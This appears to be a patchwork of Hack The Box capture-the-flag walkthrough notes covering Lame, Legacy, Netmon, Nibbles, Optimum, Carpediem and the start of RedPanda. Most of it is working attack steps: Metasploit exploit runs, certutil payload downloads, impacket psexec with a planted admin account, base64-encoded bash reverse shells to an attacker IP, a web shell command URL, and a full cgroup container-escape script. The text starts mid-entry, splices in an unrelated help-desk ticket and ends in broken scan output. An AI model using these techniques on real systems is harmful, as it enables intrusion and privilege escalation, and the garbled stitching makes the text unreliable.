certutil -urlcache -f http://10.10.14.24/sh.exe c:\users\administrator\desktop\flags\sh.exe <-- On victim
dir
sh.exe
```
Result: shell popped
# Lame
HTB - 2. Lame
1. `nmap -A -T4 -p- 10.10.10.3` takes 144 seconds, 21 (ftp) open with version `vsftpd 2.3.4` and anonymous login allowed, 22 (ssh) open with version `4.7p1 Debian 8ubuntu2`, 139 & 445 (samba) open with version 3.0.20-Debian (workgroup: WORKGROUP), 3632 (distccd v1) with version 4.2.4
2. Samba
```
smbclient -L \\\\10.10.10.3\\
exit
smbclient -L \\\\10.10.10.3\\tmp
exit
smbclient -L \\\\10.10.10.3\\opt
exit
smbclient -L \\\\10.10.10.3\\ADMIN$
```
Result: Dead end
3. FTP Check
```
ftp 10.10.10.3
anonymous
anonymous
ls
pwd
```
Result: In directory `/` which is empty
4. Search `samba 3.0.20-debian exploit`: and [Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)](https://www.exploit-db.com/exploits/16320)
5. Metasploit Exploit
```
use exploit/multi/samba/usermap_script
options
set rhosts 10.10.10.3
show targets
exploit
whoami
hostname
pwd
ls
updatedb
locate root.txt
locate user.txt
cat /root/root.txt
cat /home/makis/user.txt
cat /etc/passwd
cat /etc/shadow
unshadow passwd shadow
```
Result: Shell popped and machine owned. Can try to crack passwords with `hashcat`.
6. Search `vsftpd 2.3.4 exploit`: - This is a rapithole; don't continuously try if it doesn't work
# Legacy
HTB - 1. Legacy
1. `nmap -A -T4 -p- 10.10.10.4` shows 139 and 445 open, running Windows XP, computer name LEGACY, message\_signing disabled.
2. `smbclient -L \\10.10.10.4\\` no connection
3. Metasplot
```
sudo msfconsole
search smb_version
use auxiliary/scanner/smb/smb_version
options
set rhosts 10.10.10.4
exploit
```
Result: running Windows XP SP3
4. Search `smb windows xp sp3 exploit` found
5. Metasplot Exploit
```
use exploit/windows/smb/ms08_067_netapi
set rhosts 10.10.10.4
run
getuid
sysinfo
help
hashdump
shell
```
Result: shell spawned at NT AUTHORITY\SYTEM (root equivalent) `hashdump` gives password hashes Admin Flag at `C:\Documents and Settings\Administrator\Desktop\root.txt` User Flag at `C:\Documents and Settings\john\Desktop\user.txt`
# Netmon
HTB 10. Netmon
1. `nmap -T4 -p- -A 10.10.10.152` shows port 21 (ftp) with anonymous login enabled and lists possibly the `C:` drive, port 80 (http) running `Indy httpd 18.1.37.13946`, and ports 135/139/445 (rpc) reveal machine is running `Microsoft Windows Server 2008 R2`, two webservers running on 5985 and 47001 both are 404s. Webpage probably in `/inetpub`.
2. Go to `10.10.10.152` and shows login. Google `PRTG Network Monitor default credentials` shows `prgtadmin:prgtadmin` that don't work. Google for `PRTG Network Monitor exploit` finds [PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution ](https://www.exploit-db.com/exploits/46527)which needs authentication.
3. Search for `prtg network monitor db file location` finds paths [How and where does PRTG store its data?](https://kb.paessler.com/en/topic/463-how-and-where-does-prtg-store-its-data) to possibly find login credentials
4. `ftp 10.10.10.152` and `cd "Users\All Users\Application Data\"` is access denied. Try `cd "Users\All Users\Application Data\Paessler\PRTG Network Monitor"` which works.
5. Download the three configurations files. Opening the `PRTG Configuration.dat` and searching for `prtgadmin` (the default username) finds encrypted password. Test the `old` file which is encrypted too. Test the `old.back` which has the unencrypted password.
6. Login with credentials `prtgadmin:PrTg@admin2018`, which fails. Lets try `prtgadmin:PrTg@admin2019` since that was from a backup file from a year ago. This password works.
7. Open Burp Suite and intercept finds the cookie needed for the exploit find earlier.
8. Download [the exploit](https://www.exploit-db.com/exploits/46527) and run with `./exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX"` to create admin user with credentials `pentest:P3nT3st!` on the computer not the webinterface.
9. Get [`impacket`](https://github.com/SecureAuthCorp/impacket). Try `psexec.py pentest:P3nT3st!@10.10.10.152` which works to gain a remote shell. Can also try `wmiexec.py` or `smbexec.py`.
10. psexec can only work with the following:
* TCP port 445
* The admin$ administrative share available
* You know a local account’s credential
11. `psexec.py` is less likely to trigger antivirus than metasploit verion. But, both `wmiexec.py` and `smbexec.py` are the least likely to trigger antivirus.
# Nibbles
HTB 6. Nibbles
1. Port 22 and 80 open from `nmap -A -T4 -p- 10.10.10.75`, typically 80 is for the exploit and 22 is used later. SSH is usually not the exploit.
2. `searchsploit apache 2.4`
3. Going to `10.10.10.75` shows "Hello World" only
4. Viewing source shows `10.10.10.75/nibbleblog/` on nibbleblog platform
5. `searchsploit nibble` finds Nibbleblog 4.0.3 arbitrary file upload and remote code execution
6. In metasploit `use exploit/multi/http/nibbleblog_file_upload` and `info` shows we need to be authenticated
7. `dirbuster` to find login pages
8. Could potentially use Burp Suite to brute force usernames and password or just bruteforce password with admin as username. Potentially use `cewl` on blog posts to create password list.
9. Credentials are `admin:nibbles`, guessed by site name.
10. Set parameters in metasploit to the username, password, rhosts, and `targeturi=/nibbleblog`.
11. This works because of the `My Image` plugin that allows any file to be uploaded (no whitelisting is being done)
12. `sysinfo` shows `4.4.0 ubuntu` and `gituid` show `nibbler (1001)`
13. Searching for priv\_esc
```
shell
cd /home/nibbler
ls -la
cat user.txt
history
cat .bash_history
sudo -l
```
14. `sudo -l` reveals `~/personal/stuff/monitor.sh` can run as root without a password
15. This folder does not exist so we can create a shell script in that location.
16. `personal.zip` exists, potentially try and crack it
17. `uname -a` to print entire OS running and potentially search for exploits for the general OS
18. [`LinEnum.sh`](https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh) and [`linuxprivchecker.py`](https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py) are great scripts for enumerating linux.
19. `echo "bash -i" > monitor.sh` and `chmod +x monitor.sh`
20. `sudo /home/nibbler/personal/stuff/monitor.sh`
21. cat `/root/root.txt`
# Optimum
HTB 7. Optimum
1. `nmap -A -T4 -p- 10.10.10.8` reveals only port 80 running `httpd 2.3`
2. Going to `10.10.10.8` shows its a file server
3. Search for default credentials (httpd has no default credentials)
4. `searchsploit rejetto` (since rejetto is the vender of this file server)
5. Search google for `rejetto hfs 2.3 exploit` reveals metasploit remote code execution and many others
6. Nmap reveals probably an OS that the exploit works on
7. Metasploit `use exploit/windows/http/rejetto_hfs_exec`, set rhsots, and set payload to `windows/x64/meterpreter/reverse_tcp`
8. `set lhost tun0` instead of typing in IP (because its faster)
9. `sysinfo` shows `x64` on `x64` and `getid` is `kostas`
10. Attempt priv esc: `getsystem` fails, `background` and `use post/multi/recon/local_exploit_suggester` (`set session 1`) and `run` reveals nothing
11. [**`sherlock`**](https://github.com/rasta-mouse/Sherlock) **by `rastamouse` (or more up-to-date version** [**`Watson`**](https://github.com/rasta-mouse/Watson)**)**
12. Search google for `windows 2002 r2 (build 9600) privilege escalation` reveals `exploit-db` exploit avaible that might possibly work
13. Search `ms16-032` in metasploit shows there is a module for it. Lets `use` it. Set target to `1` which is `x64`. Set `lhost tun0` and `lport 443`. Ran twice; didn't work.
14. Manual method: Download `sherlock` above as `sher.ps1`. Start http server with python and use cerutil (`certutil -urlcache -f http://10.10.14.14/sher.ps1 sher.ps1`) to download file. Run with `powershell.exe -exec bypass -Command "& {Import-Module .\sher.ps1; Find-AllVulns}"`. Result: 3 Potential vulnerabilities
15. **Clone** [**AonCyberLabs/Windows-Exploit-Suggester**](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)**, run `python ./windows-exploit-suggester.py --update`**
16. Run `systeminfo` in shell on target and put in text file for `windows-exploit-suggester.py`.
17. Run `python ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt` which detects `MS16-098` exploit; download exploit from `exploit-db`.
18. `gcc 41020.c ex.exe` fails so lets download the binary from the link provided on `exploit-db`.
19. Run python web server, download to target, and run with `sh.exe`.
20. `whoami` gives us `nt authority\system`
We have hired a new Network Engineer and need to get him set up with his credentials and phone before his start date next month.
Please create this account at your earliest convenience.
Thank you.
Hey Adeanna,
I think Joey is out this week, but I can take care of this. Whats the last 4 digits of his employee ID so I can get his extension set up in the VoIP system?
Thanks Robert,
Last 4 of employee ID is 9650.
Thank you! He's all set up and ready to go. When he gets to the office on his first day just have him log into his phone first. I'll leave him a voicemail with his initial credentials for server access. His phone pin code will be 2022 and to get into voicemail he can dial *62
\nAlso...let him know that if he wants to use a desktop soft phone that we've been testing Zoiper with some of our end users.
\nChanging the status of this ticket to pending until he's been set up and changes his initial credentials.
``` [Zoiper](https://www.zoiper.com/) is a "free softphone to make VoIP calls through your PBX or favorite SIP provider." We can download the software by going to [the download page](https://www.zoiper.com/en/voip-softphone/download/current), clicking "Linux," clicking "Free," and finally clicking "Debian package." Install it with `sudo dpkg -i ~/Downloads/Zoiper5_5.5.13_x86_64.deb`. Run it with `zoiper5`:  Click "Contine as Free User." Then sign in using the credentials we leaked from Trudesk, `9650:2022`:  Use the IP address `10.10.11.167` (I tried `carpediem.htb` but that wouldn't work):  Zoiper will now test some configurations:  Finally, we can dial `*62` to check the voicemail:  We are asked for a password. Just use `2022` from before. Press 1 for the new message. The message gives a welcome to Horace by Robert and lists a password character by character: `AuRj4pxq9qPk`. The title of the ticket in Trudesk is "New employee on-boarding - Horace Flaccus" and usernames appear to be formatted as first initial last name (ex: `Joey Pardella` is `jpardella`) so the username is probably `hflaccus`. Running `ssh hflaccus@carpediem.htb` and using the password we just got is successful! We can now `cat ~/user.txt` to get the `user.txt` flag. ## Lateral Movment ### Information Gathering (Lateral Movement) We connect via pwncat instead to make uploading files easier: `pwncat-cs hflaccus@carpediem.htb`. Then, we run LinPEAS with `./linpeas.sh -a 2>&1 | tee linpeas_report_hflaccus.txt`. Download the report with `download linepeas_report.txt` in the local terminal. You can open [linpeas\_report\_hflaccus.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Carpediem/linpeas_report_hflaccus.txt) with `less -R linpeas_report_hflaccus.txt`. There are several other users with a console: ``` ╔══════════╣ Users with console hflaccus:x:1000:1000:Quintus Horatius Flaccus:/home/hflaccus:/bin/bash jhammond:x:1003:1003:Jeremy Hammond:/home/jhammond:/bin/bash jpardella:x:1004:1004:Joey Pardella:/home/jpardella:/bin/bash rfrost:x:1002:1002:Robert Frost:/home/rfrost:/bin/bash root:x:0:0:root:/root:/bin/bash ``` We actually get a red bold with yellow highlight item from LinPEAS (which means that it is most definitly an attack vector) on `/usr/sbin/tcpdump`: ``` Files with capabilities (limited to 50): /usr/bin/ping = cap_net_raw+ep /usr/bin/mtr-packet = cap_net_raw+ep /usr/bin/traceroute6.iputils = cap_net_raw+ep /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep ``` According to [HackTricks](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#exploitation-example), these are the "capabilities needed by tcpdump to allow any user to sniff packets." ### Wireshark So, we are going to sniff the packets on the docker container network `docker0` (list network interfaces with `ip a`) and save them to a packet capture file: `tcpdump -i docker0 -w hflaccus_carpediem_docker0.pcap`. I let this run for just over a minute. We are told that `188 packets received by filter`. We download the file: [hflaccus\_carpediem\_docker0.pcap](https://github.com/HHousen/hack-the-box/blob/master/Machines/Carpediem/hflaccus_carpediem_docker0.pcap). Next, we open it for analysis in Wireshark In LinPEAS we see the below output: ``` ══╣ Possible private SSH keys were found! /etc/ssl/certs/backdrop.carpediem.htb.key ``` That is the SSL certificate for `backdrop.carpediem.htb`, the one CMS site we saw earlier. We download the key: [backdrop.carpediem.htb.key](https://github.com/HHousen/hack-the-box/blob/master/Machines/Carpediem/backdrop.carpediem.htb.key). Now, in Wireshark go to Edit > Preferences > Protocols > TLS > RSA keys list. Add the key to the list (don't worry about ip and other columns). Side note: I did this before in the [WebNet0 challenge from PicoCTF 2019](https://picoctf2019.haydenhousen.com/forensics/webnet0).  We see a POST request to `/?q=user/login` on `backdrop.carpediem.htb`. We right click > Follow > HTTP Stream and we see the following: ``` POST /?q=user/login HTTP/1.1 Host: backdrop.carpediem.htb:8002 User-Agent: python-requests/2.22.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close Origin: https://backdrop.carpediem.htb:8002 Content-Type: application/x-www-form-urlencoded Referer: https://backdrop.carpediem.htb:8002/?q=user/login Accept-Language: en-US,en;q=0.9 Content-Length: 128 name=jpardella&pass=tGPN6AmJDZwYWdhY&form_build_id=form-rXfWvmvOz0ihcfyBBwhTF3TzC8jkPBx4LvUBrdAIsU8&form_id=user_login&op=Log+inHTTP/1.1 302 Found Date: Sat, 30 Jul 2022 23:56:02 GMT Server: Apache/2.4.48 (Ubuntu) Expires: Fri, 16 Jan 2015 07:50:00 GMT Last-Modified: Sat, 30 Jul 2022 23:56:02 +0000 Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff ETag: "1659225362" Set-Cookie: SSESS0651e6855a1f90fa8155e44165bd9f99=9ovF3cNaTA3RBfz48wAEZTo2A5V2YYKpe7X51LWXZME; expires=Tue, 23-Aug-2022 03:29:22 GMT; Max-Age=2000000; path=/; domain=.backdrop.carpediem.htb; secure; HttpOnly Location: https://backdrop.carpediem.htb:8002/?q=admin/dashboard Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 ``` ### `backdrop.carpediem.htb` There we go! Now we have credentials for `backdrop.carpediem.htb`: `jpardella:tGPN6AmJDZwYWdhY`. We can forward the port back to our attacker machine by running `./chisel server -p 12350 --reverse` on the attacker machine and then running `./chisel client 10.10.14.98:12350 R:443:172.17.0.2:443` on the target. Then, we can go to `https://localhost/` and sign in:  Navigating to "Reports" and then ["Status report"](https://localhost/?q=admin/reports/status) tells us the Backdrop CMS version is `1.21.4`.  Searching for "backdrop cms 1.21.4 exploit" finds [this page](https://curatedphp.com/r/backdrop-is-a-backdropbackdrop/index.html), wihch has patch notes for version `1.21.4` released on Mar 16, 2022 and states "Security release for Backdrop CMS. This release includes several bug fixes, and fixes 1 security vulnerability." It links to [SA-BACKDROP-CORE-2022-003](https://backdropcms.org/security/backdrop-sa-core-2022-003), which states "If a Backdrop site is configured to use CKEditor for rich-text editing, an attacker that can create or edit content (even without access to CKEditor themselves) may be able to exploit one or more Cross-Site Scripting (XSS) vulnerabilities. Victims may be people who later edit that content using CKEditor, including site admins with privileged access." So, this exploit is unlikely to be useful to us since it was patched in the version we have and it doesn't get code execution. Searching for "backdrop rce" finds [V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS](https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS), which states "The Backdrop CMS version 1.20 allows plugins to be added via ZIP files uploaded to the site. And because it does not have anti-CSRF protection, it is possible for an attacker to create a plugin with a file that allows execution of commands, host it and, using a forged page, make the site admin upload this plugin just by clicking on a malicious link." This is exactly what we want. We download [reference.tar](https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS/releases/download/backdrop/reference.tar) (linked to from [V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS](https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS), also available [here](https://github.com/HHousen/hack-the-box/blob/master/Machines/Carpediem/reference.tar)). We upload the `reference.tar` file to the [manual module installation page](https://localhost/?q=admin/installer/manual):  Then click "INSTALL":  Now, according to the [GitHub repo](https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS), we go to `https://localhost/modules/reference/shell.php?cmd=ls` and sure enough we have command execution: `LICENSE.txt README.md reference.info reference.install reference.module shell.php tests views`. Now, let's get a reverse shell. Our reverse shell will be a standard `bash` reverse shell: `bash -i >& /dev/tcp/10.10.14.98/51894 0>&1`. Let's encode that in base64 by running `echo -n "bash -i >& /dev/tcp/10.10.14.98/51894 0>&1" | base64`, which gives us `YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45OC81MTg5NCAwPiYx`. So, our payload should be `echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45OC81MTg5NCAwPiYx | base64 -d | bash`. Let's url encode that to `echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC45OC81MTg5NCAwPiYx%20%7C%20base64%20-d%20%7C%20bash`. Start a listener with `pwncat-cs -lp 51894` and then run the reverse shell by going to `https://localhost/modules/reference/shell.php?cmd=echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC45OC81MTg5NCAwPiYx%20%7C%20base64%20-d%20%7C%20bash`. Sure enough, we get a shell! ## Docker Escape We are in another Docker container as user `www-data`. So, let's upload [CDK](https://github.com/cdk-team/CDK#installationdelivery) and run a full scan with `./cdk_linux_amd64 eva --full`. This doesn't find anything useful. Next, we run [pspy](https://github.com/DominicBreuker/pspy) to look for processes that are ran frequently: ``` 2022/07/30 20:38:17 CMD: UID=0 PID=4286 | /bin/bash /opt/heartbeat.sh 2022/07/30 20:38:46 CMD: UID=0 PID=4287 | /bin/bash /opt/heartbeat.sh 2022/07/30 20:38:46 CMD: UID=0 PID=4288 | /bin/bash /opt/heartbeat.sh 2022/07/30 20:38:47 CMD: UID=0 PID=4289 | php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost 2022/07/30 20:38:47 CMD: UID=0 PID=4290 | /bin/bash /opt/heartbeat.sh 2022/07/30 20:38:47 CMD: UID=0 PID=4291 | cp /root/index.php /var/www/html/backdrop/index.php ``` Let's look at the `/opt/heartbeat.sh` script: ``` $ cat /opt/heartbeat.sh #!/bin/bash #Run a site availability check every 10 seconds via cron checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh)) if [[ $checksum != "70a121c0202a33567101e2330c069b34" ]]; then exit fi status=$(php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost) grep "Welcome to backdrop.carpediem.htb!" "$status" if [[ "$?" != 0 ]]; then #something went wrong. restoring from backup. cp /root/index.php /var/www/html/backdrop/index.php fi ``` So, we cannot edit `/var/www/html/backdrop/core/scripts/backdrop.sh` because if the MD5 hash doesn't match then the script won't run. However, looking at the `backdrop.sh` script we notice that its final parameter has this description: ``` The URI to execute, i.e. http://default/foo/bar for executing the path '/foo/bar' in your site 'default'. URI has to be enclosed by quotation marks if there are ampersands in it (f.e. index.php?q=node&foo=bar). Prefix 'http://' is required, and the domain must exist in Backdrop's sites-directory. If the given path and file exists it will be executed directly, i.e. if URI is set to http://default/bar/foo.php and bar/foo.php exists, this script will be executed without bootstrapping Backdrop. To execute Backdrop's cron.php, specify http://default/core/cron.php as the URI. ``` The URI passed to the `backdrop.sh` script from the `heartbeat.sh` script is `https://localhost`. So, if we replace `index.php` with a php reverse shell we will get a shell as root on the container. Start a reverse shell with `pwncat-cs -lp 30076`. Then run `echo "& /dev/tcp/10.10.14.98/30076 0>&1'\");?>" > /var/www/html/backdrop/index.php`. This creates a revere shell as root on the container! Right now we have chisel running as the `hflaccus` user to forward the Backdrop CMS interface to our attacker machine. On top of that, we have a reverse shell to `www-data` on the Backdrop CMS Docker container. And on top of that, we have a reverse shell to `root` on the container via a script that is run on a schedule. Reupload CDK onto the box as root now. Running it with `./cdk_linux_amd64 eva --full` finds: `Cap decode: 0x00000000a00425fb = CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_CHROOT,CAP_AUDIT_WRITE,CAP_SETFCAP`. We can exploit this container and get root on the host machine thanks to [CVE-2022-0492](https://nvd.nist.gov/vuln/detail/CVE-2022-0492). [**This article**](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) is a fantastic description of the issue. HackTricks has a brief discussion on [linux capabilities](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities) and the Trail of Bits Blog [discusses the exploit at a higher level](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/). First, we run these commands within the container (paste them all at once, do not run one-by-one): ```bash unshare -UrmC bash umount /tmp/dog2 rm -R /tmp/dog2 mkdir /tmp/dog2 mount -t cgroup -o rdma cgroup /tmp/dog2 mkdir /tmp/dog2/x echo 1 > /tmp/dog2/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/dog2/release_agent echo '#!/bin/bash' > /cmd echo "bash -c 'bash -i >& /dev/tcp/10.10.14.98/51895 0>&1'" >> /cmd chmod a+x /cmd bash -c "echo \$\$ > /tmp/dog2/x/cgroup.procs" ``` Then, on our SSH connection as the `hflaccus` user, we simply execute `bash -p` and get a root shell. Note: This only worked once I exited from the container reverse shell. Finally, run `cat /root/root.txt` to get the `root.txt` flag. After rooting the machine, we find the voicemail we heard as a file in `/root`: [voicemail.wav](https://github.com/HHousen/hack-the-box/blob/master/Machines/Carpediem/voicemail.wav). # RedPanda ## Summary Our Nmap scan reveals SSH and a web server on port `8080`. The web server allows us to search red panda images and view statistics about the number of views an image has. The title of the pages says that the application is made with [Spring Boot](https://spring.io/projects/spring-boot). We fuzz for various vulnerabilities in the "search" field and eventually find a server side template injection (SSTI) vulnerability. Unable to easily get a reverse shell, we write a basic [read–eval–print loop](https://en.wikipedia.org/wiki/Read%E2%80%93eval%E2%80%93print_loop) (REPL) using python: [rps\_repl](https://github.com/HHousen/hack-the-box/blob/master/Machines/RedPanda/rps_repl.py). Using this program, we read the contents of the main web application logic file and find a password, which can be used to SSH to the box and get the `user.txt` flag. Once we are on the machine, we run [pspy](https://github.com/DominicBreuker/pspy) and notice a cleanup script that removes images and XML files from a few directories. We also notice a `LogParser` program that is ran frequently as root. We analyze the program and its relationship with the "Red Panda Search" application and plan out an exploit that is somewhat complicated. Basically, `LogParser` reads a request log file created by "Red Panda Search." When, `LogParser` sees a new request for an image, it will read the "Author" metadata field of that image and load, update, and overwrite an XML file based on that author name. We can control the request log through a request with a specific user agent and use a XML External Entity (XXE) attack to read the `root.txt` flag into our own XML file. ## Enumeration ### Nmap First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.170 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.170`. ``` PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 8080/tcp open http-proxy | fingerprint-strings: | GetRequest: | HTTP/1.1 200 | Content-Type: text/html;charset=UTF-8 | Content-Language: en-US | Date: Mon, 01 Aug 2022 01:26:26 GMT | Connection: close | | | | | | | | |
|
|
|
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\n\x20\x20\x20\x20\x20\x20
\n\x20\x20\x20\x
SF:20\x20\x20
|
|
|
|
|
|
|
|
|
|
| \n\x20\x20\x20\x20\x20\x20
\n\x20\x20\x20\x20\x20\x20